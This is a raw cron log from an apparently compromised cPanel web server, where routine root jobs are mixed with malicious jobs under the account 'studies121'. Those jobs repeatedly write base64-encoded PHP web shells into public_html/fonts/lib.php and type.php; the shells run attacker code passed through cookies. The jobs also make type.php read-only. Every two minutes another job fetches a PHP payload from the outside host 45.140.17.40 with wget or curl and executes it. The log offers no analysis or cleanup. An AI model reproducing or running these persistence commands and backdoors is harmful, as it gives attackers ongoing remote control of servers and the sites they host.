Aug 30 19:45:01 ip-184-168-122-23 CROND[649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:45:01 ip-184-168-122-23 CROND[650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:45:01 ip-184-168-122-23 CROND[651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:45:01 ip-184-168-122-23 CROND[652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:46:02 ip-184-168-122-23 CROND[756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:46:02 ip-184-168-122-23 CROND[758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:46:02 ip-184-168-122-23 CROND[759]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 19:46:02 ip-184-168-122-23 CROND[762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:46:02 ip-184-168-122-23 CROND[763]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 19:46:02 ip-184-168-122-23 CROND[764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:46:02 ip-184-168-122-23 CROND[765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:47:01 ip-184-168-122-23 CROND[870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:47:01 ip-184-168-122-23 CROND[873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:47:01 ip-184-168-122-23 CROND[872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:47:01 ip-184-168-122-23 CROND[874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:48:01 ip-184-168-122-23 CROND[954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:48:01 ip-184-168-122-23 CROND[956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:48:01 ip-184-168-122-23 CROND[957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:48:01 ip-184-168-122-23 CROND[958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:48:01 ip-184-168-122-23 CROND[959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:49:01 ip-184-168-122-23 CROND[1135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:49:01 ip-184-168-122-23 CROND[1138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:49:01 ip-184-168-122-23 CROND[1137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:49:01 ip-184-168-122-23 CROND[1139]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 19:49:01 ip-184-168-122-23 CROND[1140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:50:01 ip-184-168-122-23 CROND[1247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:50:01 ip-184-168-122-23 CROND[1249]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 19:50:01 ip-184-168-122-23 CROND[1251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:50:01 ip-184-168-122-23 CROND[1257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:50:01 ip-184-168-122-23 CROND[1256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:50:01 ip-184-168-122-23 CROND[1253]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:50:01 ip-184-168-122-23 CROND[1254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:50:01 ip-184-168-122-23 CROND[1255]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:50:01 ip-184-168-122-23 CROND[1258]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:51:01 ip-184-168-122-23 CROND[1381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:51:01 ip-184-168-122-23 CROND[1383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:51:01 ip-184-168-122-23 CROND[1384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:51:01 ip-184-168-122-23 CROND[1385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:52:01 ip-184-168-122-23 CROND[1505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:52:01 ip-184-168-122-23 CROND[1504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:52:01 ip-184-168-122-23 CROND[1509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:52:01 ip-184-168-122-23 CROND[1510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:52:01 ip-184-168-122-23 CROND[1511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:53:01 ip-184-168-122-23 CROND[1594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:53:01 ip-184-168-122-23 CROND[1597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:53:01 ip-184-168-122-23 CROND[1598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:53:01 ip-184-168-122-23 CROND[1596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:54:01 ip-184-168-122-23 CROND[1679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:54:01 ip-184-168-122-23 CROND[1681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:54:01 ip-184-168-122-23 CROND[1683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:54:01 ip-184-168-122-23 CROND[1682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:54:01 ip-184-168-122-23 CROND[1684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:55:01 ip-184-168-122-23 CROND[1885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:55:01 ip-184-168-122-23 CROND[1887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:55:01 ip-184-168-122-23 CROND[1888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:55:01 ip-184-168-122-23 CROND[1891]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:55:01 ip-184-168-122-23 CROND[1890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:55:01 ip-184-168-122-23 CROND[1889]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:56:01 ip-184-168-122-23 CROND[1969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:56:01 ip-184-168-122-23 CROND[1971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:56:01 ip-184-168-122-23 CROND[1972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:56:01 ip-184-168-122-23 CROND[1974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:56:01 ip-184-168-122-23 CROND[1975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:57:01 ip-184-168-122-23 CROND[2057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
